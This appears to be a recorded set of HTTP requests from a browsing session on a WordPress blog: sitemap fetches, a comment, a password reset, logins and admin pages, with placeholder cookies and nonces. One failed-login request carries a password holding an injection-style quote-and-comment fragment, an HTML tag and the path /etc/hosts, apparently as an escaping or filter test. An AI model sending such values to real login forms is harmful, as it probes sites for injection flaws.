{"method": "GET", "target": "/wp-sitemap.xml", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-sitemap-index.xsl", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-sitemap.xml", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-sitemap-posts-post-1.xml", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-sitemap.xsl", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-sitemap-posts-post-1.xml", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/robots.txt", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-login.php?action=lostpassword", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,buttons,forms,l10n,wp-base-styles,wp-tooltip,login&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-login.php?action=lostpassword", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2F&reauth=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=clipboard,jquery-core,jquery-migrate,zxcvbn-async,wp-hooks&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2F&reauth=1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "GET", "target": "/wp-admin/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 241", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/2026/11/09/hello-world/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": "comment=Nice+post%21+I%27d+add+that+select+wines+%26+cheese+go+well%3B+see+https%3A%2F%2Fexample.org%2Fx%3Fa%3D1.&author=Jo+Reader&email=jo%40example.com&url=https%3A%2F%2Fexample.org%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"}
{"method": "GET", "target": "/2026/11/09/hello-world/?unapproved=2&moderation-hash=c87857727b8aab5e31944f32f2f17826", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/2026/11/09/hello-world/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "POST", "target": "/wp-login.php?action=lostpassword", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 58", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-login.php?action=lostpassword", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": "user_login=editor1&redirect_to=&wp-submit=Get+New+Password"}
{"method": "GET", "target": "/wp-login.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "POST", "target": "/wp-login.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 171", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-login.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": "log=editor1%40example.com&pwd=wrong%27+pass--+%3B+%22quoted%22+%3Cb%3E+%26+%2Fetc%2Fhosts&wp-submit=Log+In&redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2F&testcookie=1"}
{"method": "POST", "target": "/wp-login.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 127", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-login.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": "log=editor1&pwd=Tr0ub4dor%263-horse-staple%21&wp-submit=Log+In&redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2F&testcookie=1"}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203150.3890221118927001953125", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=hoverIntent,wp-dom-ready,wp-hooks&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,site-health,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-poi&load%5Bchunk_1%5D=nter,widgets,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/users/me?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=wp-compression-test&test=1&_ajax_nonce=874d028d1a&1794203151554", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-includes/js/thickbox/loadingAnimation.gif", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=wp-compression-test&test=no&_ajax_nonce=874d028d1a&1794203151641", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 60", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": "_wpnonce=52dc4bc08a&timezone=UTC&action=get-community-events"}
{"method": "GET", "target": "/wp-admin/index.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=dashboard-widgets&widget=dashboard_primary&pagenow=dashboard", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html, */*; q=0.01", "X-Requested-With: XMLHttpRequest", "Referer: http://blog.example/wp-admin/index.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203152"], "body": ""}
{"method": "GET", "target": "/wp-admin/update-core.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203152"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-pointer,widgets&load%5Bchunk_1%5D=,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-theme,wp-components,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/update-core.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203153"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203153"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-pointer,widgets&load%5Bchunk_1%5D=,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203154"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 126", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203154"], "body": "data%5Bwp-check-locked-posts%5D%5B%5D=post-1&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-post&has_focus=true"}
{"method": "GET", "target": "/wp-admin/post-new.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203154"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils,moxiejs,plupload&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,buttons,media-views,editor-buttons,wp-theme,wp-components,wp-preferences,wp-block-editor,wp-reusable-blocks,&load%5Bchunk_1%5D=wp-patterns,wp-media-utils,wp-editor,wp-base-styles,common,forms,wp-reset-editor-styles,wp-block-library,wp-block-editor-content&load%5Bchunk_2%5D=,wp-edit-blocks,wp-commands,wp-edit-post,wp-block-directory,wp-format-library,admin-menu,dashboard,list-tables,edit,revisions,me&load%5Bchunk_3%5D=dia,themes,about,nav-menus,wp-pointer,widgets,site-icon,l10n,wp-tooltip,wp-auth-check&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
